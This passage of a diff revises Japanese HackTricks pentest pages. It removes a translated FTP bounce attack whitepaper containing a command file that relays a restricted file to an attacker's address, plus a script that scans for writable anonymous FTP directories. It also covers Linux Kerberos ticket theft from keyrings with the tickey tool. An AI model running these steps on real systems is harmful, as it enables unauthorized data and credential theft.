* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するために、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,171 +1,52 @@
|
|||
```markdown
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
他のHackTricksをサポートする方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする：[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Resume
|
||||
# 履歴書
|
||||
|
||||
バウンスFTPサーバーにアクセスできる場合、他のFTPサーバーからファイルをリクエストして（あなたがいくつかの資格情報を知っている場合）、そのファイルを自分のサーバーにダウンロードすることができます。
|
||||
バウンスFTPサーバーにアクセスできる場合、他のFTPサーバー（一部の資格情報を知っている）にファイルを要求させ、そのファイルを自分のサーバーにダウンロードできます。
|
||||
|
||||
## Requirements
|
||||
## 必要条件
|
||||
|
||||
FTP Middleサーバーで有効なFTP資格情報
|
||||
被害者FTPサーバーで有効なFTP資格情報
|
||||
両方のサーバーがPORTコマンドを受け入れる（バウンスFTP攻撃）
|
||||
FRP Middleサーバー内のいくつかのディレクトリに書き込むことができる
|
||||
何らかの理由で、中間サーバーが被害者FTPサーバー内であなたよりも多くのアクセス権を持っている（これを利用することになります）
|
||||
- FTPミドルサーバーでの有効な資格情報
|
||||
- ターゲットFTPサーバーでの有効なFTP資格情報
|
||||
- 両方のサーバーがPORTコマンドを受け入れる（バウンスFTP攻撃）
|
||||
- FRPミドルサーバーのディレクトリ内に書き込みできる
|
||||
- ミドルサーバーが何らかの理由でターゲットFTPサーバー内であなたよりもアクセス権限が多い（これを悪用する）
|
||||
|
||||
## Steps
|
||||
## 手順
|
||||
|
||||
1. 自分のFTPサーバーに接続し、被害者サービスがファイルを送信するディレクトリでリッスンするようにパッシブモード（pasvコマンド）にします。
|
||||
2. FTP Middleサーバーが被害者サーバーに送信するファイルを作成します（エクスプロイト）。このファイルは、被害者サーバーに対して認証を行い、ディレクトリを変更し、ファイルを自分のサーバーにダウンロードするために必要なコマンドのプレーンテキストです。
|
||||
3. FTP Middleサーバーに接続し、前のファイルをアップロードします。
|
||||
4. FTP Middleサーバーに被害者サーバーとの接続を確立させ、エクスプロイトファイルを送信させます。
|
||||
5. 自分のFTPサーバーでファイルをキャプチャします。
|
||||
6. FTP Middleサーバーからエクスプロイトファイルを削除します。
|
||||
1. 自分のFTPサーバーに接続し、接続を受動的にする（PASVコマンド）ことで、被害者サービスがファイルを送信するディレクトリでリッスンできるようにします
|
||||
2. FTPミドルサーバーに送信されるファイルを作成します（攻撃）。このファイルは、被害者サーバーに対して認証するための必要なコマンドの平文、ディレクトリの変更、ファイルを自分のサーバーにダウンロードするコマンドです。
|
||||
3. FTPミドルサーバーに接続し、前のファイルをアップロードします
|
||||
4. FTPミドルサーバーが被害者サーバーと接続し、攻撃ファイルを送信するようにします
|
||||
5. 自分のFTPサーバーでファイルをキャプチャします
|
||||
6. FTPミドルサーバーから攻撃ファイルを削除します
|
||||
|
||||
詳細な情報については、次の投稿を参照してください：[http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
|
||||
この投稿のすべての情報は、次から抽出されました: [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html)
|
||||
|
||||
# The FTP Bounce Attack
|
||||
|
||||
これは、「FTPサーバーバウンス攻撃」の多くの可能な使用法の一つを議論します。使用されるメカニズムはおそらくよく知られていますが、これまでのところ、それを詳細に説明したり修正することに対する関心は低いか全く存在しません。この特定の例は、標準FTPプロトコルのいくつかの本当に考えられていない側面があることに、読者が気づき、注意を払うようにするために選ばれました。
|
||||
|
||||
また、数ヶ月前にこれらの問題について簡単ですが面白い議論をしたimag.frのAlain Knaffにも感謝します。それが私にこれらの問題についてさらに深く考えるきっかけを与えました。
|
||||
|
||||
## The motive
|
||||
|
||||
あなたはforeign.frのユーザーで、IPアドレスはF.F.F.Fです。そして、米国のcrypto.comから暗号化ソースコードを取得したいと考えています。crypto.comのFTPサーバーはあなたの接続を許可しますが、あなたのソースIPアドレスが非米国サイトであるため\[DNSからFTPサーバーが判断できる限り\]、暗号化ソースへのアクセスを拒否します。いずれにせよ、crypto.comのサーバーから直接欲しいものを取得することはできません。
|
||||
|
||||
しかし、crypto.comはufred.eduが暗号化ソースをダウンロードすることを許可します。なぜならufred.eduも米国内にあるからです。あなたは、ufred.eduの/incomingが匿名ユーザーがファイルをドロップして読み返すことができる世界に書き込み可能なディレクトリであることを知っています。crypto.comのIPアドレスはC.C.C.Cです。
|
||||
|
||||
## The attack
|
||||
|
||||
あなたがパッシブモードを行うFTPサーバーを持っていると仮定します。自分のマシンの実際のIPアドレス\[localhostではない\]にFTP接続を開き、ログインします。書き込みアクセス権を持つ便利なディレクトリに変更し、次に行います：
|
||||
```
|
||||
```text
|
||||
pasv
|
||||
stor foobar
|
||||
```
|
||||
以下のアドレスとポートに注意してください。PASVコマンドから返されるF,F,F,F,X,Xです。このFTPセッションは現在停止状態になるので、バックグラウンドに移動するか、別のウィンドウに切り替えて、残りの作業を続けてください。
|
||||
|
||||
FTPサーバーのコマンドを含むファイルを作成します。このファイルを"`instrs`"と呼びましょう。内容は以下のようになります：
|
||||
```text
|
||||
user ftp
|
||||
pass -anonymous@
|
||||
cwd /export-restricted-crypto
|
||||
type i
|
||||
port F,F,F,F,X,X
|
||||
retr crypto.tar.Z
|
||||
quit
|
||||
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
|
||||
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
|
||||
...
|
||||
```
|
||||
```
|
||||
F,F,F,F,X,Xは、最初の接続で自分のマシンが提供したのと同じアドレスとポートです。末尾のゴミは、NULLを250個含む追加の行で、約60Kの余分なデータを埋めるのに十分な量です。このフィラーの理由については後で説明します。
|
||||
|
||||
ufred.eduにFTP接続を開き、匿名でログインし、/incomingにcdします。次に、このFTPセッションに以下を入力します。これにより、"`instrs`"ファイルのコピーが転送され、その後ufred.eduのFTPサーバーに、あなたのファイルをコマンドとして使用してcrypto.comのFTPサーバーに接続するよう指示します：
|
||||
```
|
||||
```text
|
||||
put instrs
|
||||
port C,C,C,C,0,21
|
||||
retr instrs
|
||||
```
|
||||
`Crypto.tar.Z`は、最初のFTP接続を介してあなたのマシン上で"`foobar`"として表示されるはずです。ufred.eduへの接続が一般的なサーバーバグにより自動的に切断されなかった場合は、"`instrs`"を削除して終了することでクリーンアップしてください。そうでなければ、完了するために再接続する必要があります。
|
||||
|
||||
## 議論
|
||||
|
||||
これにはいくつかの変種があります。PASVリスナー接続は、ファイル書き込みアクセス権を持つ任意のマシン上で開くことができます -- 自分のマシン、ufred.eduへの別の接続、または完全に無関係な場所でも構いません。実際、FTPサーバーである必要はありません -- 既知のTCPポート上でリッスンし、生データをファイルに読み込む任意のユーティリティで十分です。パッシブモードFTPデータ接続は、これを行うための便利な方法に過ぎません。
|
||||
|
||||
コマンドファイルの末尾に追加された追加のヌルは、ufredからcryptoへの接続の両端のTCPウィンドウを埋め、コマンド接続がセッション全体が実行されるのに十分な時間開いたままにするためです。そうでないと、ほとんどのFTPサーバーは、制御接続が早期に閉じられると、すべての転送とコマンド処理を中止する傾向があります。データのサイズは、受信ウィンドウと送信ウィンドウの両方を埋めるのに十分であり、一部のOSではかなり大きい\[約30Kのオーダー\]です。両端のOSとそれらのデフォルトのTCPウィンドウサイズの合計を知っている場合は、このサイズをトリミングできます。ターゲットサーバーのコマンドバッファをオーバーランしないように、250文字の行に分割されています -- すでにサーバーに終了するように指示しているので、おそらく学問的ですが。
|
||||
|
||||
crypto.comがforeign.frからの\*任意の\*FTPクライアント接続を禁止していて、どのファイルがどこにあるかを確認する必要がある場合は、コマンドファイルに"`list -aR`"を入れて、ufred経由で全ツリーのディレクトリリストを取得することができます。
|
||||
|
||||
ターゲットのFTPサーバーにコマンドファイルを取得する際には、バイナリモードではなくASCIIモードを使用する必要があるかもしれません。一部のFTPサーバーは生の改行を処理できますが、他のサーバーはCRLFペアで終了するコマンドラインが必要かもしれません。FTPサーバー以外のデーモンにファイルを取得する際にもこれを念頭に置いてください。
|
||||
|
||||
## 他の可能性
|
||||
|
||||
このような第三者接続は一方通行のみですが、あらゆる種類のことに使用できます。類似の方法を使用して、ほぼ追跡不可能なメールやニュースを投稿したり、様々なサイトのサーバーを攻撃したり、ディスクを満たしたり、ファイアウォールを越えようとしたり、同時に迷惑をかけて追跡が困難になることができます。少し考えれば、他にも多くの恐ろしい可能性が実現することに気づくでしょう。
|
||||
|
||||
この方法で開始された接続はソースポート20から来ますが、一部のサイトは"ftp-data"問題に対処するためにファイアウォールを通過させます。いくつかの目的にとって、これはソースルーティング攻撃の次善の策であり、パケットフィルタに対してソースルーティングが失敗する場合に成功する可能性があります。そして、これはすべて、FTPプロトコル仕様がどのように書かれているかによって可能になっています。制御接続はどこからでも来ることができ、データ接続はどこにでも行くことができます。
|
||||
|
||||
## 防御
|
||||
|
||||
ネット上には古いFTPサーバーと書き込み可能なディレクトリを持つサイトが常に存在するため、「すべてのFTPサーバーを修正する」と言うのは間違った答えです。しかし、自分のサイトを第三者のバウンスポイントとして使用されること、または他のバウンスポイントが自分に対して使用されることから保護することはできます。
|
||||
|
||||
最初に明らかなことは、FTPサーバーが制御接続が発生したのと同じホストにのみデータ接続を行うようにすることです。これは上記の攻撃を防ぐわけではありませんが、PASVリスナーがufred.edu上にある可能性があるため、要件を満たしますが、\*あなたの\*サイトが潜在的なバウンスポイントになるのを防ぎます。また、"プロキシFTP"の概念を破壊しますが、この段落のどこかに非常に小さなバイオリンが隠されています。
|
||||
|
||||
次に明らかなことは、予約済みポート、特にポート20からのFTP制御接続を禁止することです。これにより、上記のシナリオが防止されます。
|
||||
|
||||
これらのことに加えて、ソースルーティングされたパケットやその他のスプーフィングの手段をブロックする通常の対策が、この種のハックを防ぐために必要です。また、オープンな「インカミング」ディレクトリが本当に必要かどうかを考えてください。
|
||||
|
||||
パッシブモードのクライアントデータ接続のみを許可することも可能性の一つですが、まだ多くのFTPクライアントがパッシブを認識していないためです。
|
||||
|
||||
## "緩やかな合意と実行中のコード"
|
||||
|
||||
avian.orgで利用可能なこの問題に対処する既存の作業があります\[数ヶ月前からですが\]。"[fixkitsアーカイブ](ftp://ftp.avian.org:/src/fixkits/)"には、偽のPORTコマンドの使用を防ぎ、記録するためのwu-ftpd-2.4へのいくつかの変更が提示されています。他の場所からの最近のセキュリティ修正も含まれており、特定のアプリケーションのセキュリティを強化するためのs/keyサポートや様々なコンパイル時のオプションがあります。
|
||||
|
||||
Stan Barberはacadem.comで、これらといくつかの他の修正を本当の更新されたwu-ftpdリリースに統合する作業を行っています。他にもいくつかの異なる取り組みが進行中です。この作業が完了しているとはどこにも主張されていませんが、私がしばらく考えていたことに向けたスタートです -- ネット全体でのwu-ftpd-2.5のリリースで、ネット全体からの貢献があります。wu-ftpdサーバーは非常に人気がありますが、さらなるセキュリティアップグレードが必要です。すべての改善を一つの調整された場所にまとめることができれば素晴らしいことですが、それが実現するようです。もちろん、ベンダー提供のサーバーを実行し続ける人々にはこれは役に立ちません。
|
||||
|
||||
クライアント接続のソースポートをサニティチェックすることは、FTPサーバーの修正では具体的には実装されていませんが、この問題はより一般的であるため、Wietseのtcp-wrappersパッケージの変更で実装されています。単純なPORTオプションが追加され、tcpdステージで、呼び出されたデーモンが実行される前に、設定可能なソースポートの範囲からの接続を拒否します。
|
||||
|
||||
これの一部は、ここにある匿名FTPエリアの[/src/fixkits/README](ftp://ftp.avian.org:/src/fixkits/README)によって指摘されています。他のものをつかむ前にこのロードマップを読んでください。
|
||||
|
||||
## メモ
|
||||
|
||||
コマンドファイルの末尾にヌルを追加することが、様々なデーモンに対してこれを機能させる鍵でした。通常、望ましいデータを単に送信するだけでは、デーモンにすぐに終了するように指示するため、失敗するでしょう。
|
||||
|
||||
WUSTLがwu-ftpdプロジェクト全体を完全に諦めていない場合、彼らはさらなる作業について非常に静かです。Bryan O'Connorは今までに多くの他のプロジェクトに取り組んでいるようです...
|
||||
|
||||
これは、unixベースの匿名FTPサーバー上のworld-writeableおよびftp所有のディレクトリとファイルを見つけるための簡単なスクリプトです。これらの書き込み可能な「バウンスポイント」が、このようなものを短時間実行した後にどれだけ出てくるかに驚かされるでしょう。後で、そのような場所からファイルをPUTおよびGETできるかどうかを確認する必要があります。一部のサーバーはアップロードされたファイルを読み取りから保護します。多くはそうではなく、なぜ彼らが今週のトップテンウェアズサイトの中にいるのか疑問に思います...
|
||||
```text
|
||||
#!/bin/sh
|
||||
ftp -n $1 << FOE
|
||||
quote "user ftp"
|
||||
quote "pass -nobody@"
|
||||
prompt
|
||||
cd /
|
||||
dir "-aR" xxx.$$
|
||||
bye
|
||||
FOE
|
||||
# Not smart enough to figure out ftp's numeric UID if no passwd file!
|
||||
cat -v xxx.$$ | awk '
|
||||
BEGIN { idir = "/" ; dirp = 0 }
|
||||
/.:$/ { idir = $0 ; dirp = 1 ; }
|
||||
/^[-d][-r](......w.|........ *[0-9]* ftp *)/ {
|
||||
if (dirp == 1) print idir
|
||||
dirp = 0
|
||||
print $0
|
||||
} '
|
||||
rm xxx.$$
|
||||
```
|
||||
```markdown
|
||||
これはホワイトペーパーと呼ぶことができるでしょう。avian.orgの[/random/ftp-attack](ftp://ftp.avian.org:/random/ftp-attack)で入手可能であり、関連する様々な場所にも掲載されています。 \_H\* 950712
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* **HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
- [**公式PEASS＆HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする：[**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,53 +1,44 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksに広告を掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有する。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
Linuxでは、**チケットはクレデンシャルキャッシュまたはccachesに保存されます**。主に3つのタイプがあり、**チケットが見つかる場所を示しています:**
|
||||
|
||||
* **ファイル**は、デフォルトでは**/tmp**ディレクトリの下にあり、**krb5cc\_%{uid}**の形式です。
|
||||
* **カーネルキーリング**は、キーを保存するためにLinuxカーネルに提供される特別なスペースです。
|
||||
* **プロセスメモリ**は、チケットを使用する必要があるプロセスが1つだけの場合に使用されます。
|
||||
|
||||
特定のマシンでどのタイプのストレージが使用されているかを確認するには、**/etc/krb5.conf**ファイル内の変数 _**default\_ccache\_name**_ をチェックする必要があります。これはデフォルトで任意のユーザーが読み取り権限を持っています。このパラメータが欠落している場合、そのデフォルト値は _FILE:/tmp/krb5cc\_%{uid}_ です。
|
||||
|
||||
**他の2つのソースからチケットを抽出する**ために（keyringsとプロセス）、2017年に公開された素晴らしい論文、[**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)では、それらからチケットを回復する方法について説明しています。
|
||||
|
||||
### Keyring - 論文から
|
||||
|
||||
> **Linuxカーネル**には**keyrings**と呼ばれる機能があります。これはカーネル内に存在するメモリの領域で、キーの**管理と保持**に使用されます。
|
||||
>
|
||||
> **keyctlシステムコール**はカーネルバージョン2.6.10で導入されました。これにより、**ユーザースペースアプリケーションはカーネルキーリングと対話するためのAPI**を使用できます。
|
||||
|
||||
> 使用中の**keyringの名前**は、デフォルトで誰でも読み取り権限が有効になっている（8進数644）**Kerberos設定ファイル/etc/krb5.conf**から解析できます。攻撃者はこの情報を利用して、チケットを含むkeyringsを**検索し、チケットを抽出**できます。この機能を実装した証明コンセプトスクリプトは、セクションA.2 **(hercules.sh)**で見ることができます。keyringでは、ccacheはコンポーネントとして保存されます。図2に示すように、ファイルccacheはヘッダー、デフォルトプリンシパル、および一連のクレデンシャルの3つの異なるコンポーネントで構成されています。**keyringはデフォルトプリンシパルとクレデンシャルを保持**します。このスクリプトはこれらのコンポーネントを別々のファイルにダンプします。次に、**攻撃者が合成したヘッダー**を使用して、これらのピースを正しい順序で組み合わせて**ファイルccacheを再構築**します。この再構築されたファイルは、攻撃者のマシンに持ち出され、Kerberosユーザーになりすますために使用できます。有効なccacheヘッダーを生成するためのシンプルなプログラムは、セクションA.3で見ることができます。
|
||||
|
||||
論文の**heracles.shスクリプト**に基づいて、あなたが使用できるCツール（完全な投稿の著者によって作成された）は[**tickey**](https://github.com/TarlogicSecurity/tickey)であり、**keyringsからチケットを抽出します**：
|
||||
```
|
||||
/tmp/tickey -i
|
||||
```
|
||||
**この情報は以下から取得しました：** [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### Linuxでの資格情報の保存
|
||||
Linuxシステムは、**ファイル**（`/tmp`ディレクトリ内）、**カーネルキーリング**（Linuxカーネル内の特別セグメント）、**プロセスメモリ**（単一プロセス用）の3種類のキャッシュに資格情報を保存します。`/etc/krb5.conf`の**default\_ccache\_name**変数は、指定されていない場合は`FILE:/tmp/krb5cc_%{uid}`にデフォルトで設定されている保存タイプを示します。
|
||||
|
||||
### 資格情報の抽出
|
||||
2017年の論文、[**Kerberos Credential Thievery (GNU/Linux)**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)では、キーリングやプロセスから資格情報を抽出する方法が概説されており、Linuxカーネルのキーリングメカニズムがキーの管理と保存に使用されています。
|
||||
|
||||
#### キーリング抽出の概要
|
||||
カーネルバージョン2.6.10で導入された**keyctlシステムコール**により、ユーザースペースアプリケーションがカーネルキーリングとやり取りすることが可能となりました。キーリング内の資格情報はコンポーネント（デフォルトプリンシパルと資格情報）として保存されており、ファイルccacheとは異なりヘッダーも含まれています。論文の**hercules.shスクリプト**は、これらのコンポーネントを抽出して再構築し、資格情報を盗むための使用可能なファイルccacheにします。
|
||||
|
||||
#### チケット抽出ツール：Tickey
|
||||
**hercules.shスクリプト**の原則に基づいて、[**tickey**](https://github.com/TarlogicSecurity/tickey)ツールは、キーリングからチケットを抽出するために特別に設計されており、`/tmp/tickey -i`を介して実行されます。
|
||||
|
||||
# 参考文献
|
||||
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法：
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS＆HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,46 +1,62 @@
|
|||
# Windowsからのチケットの収集
|
||||
# Windowsからチケットを収集する
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください！</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください！
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
|
||||
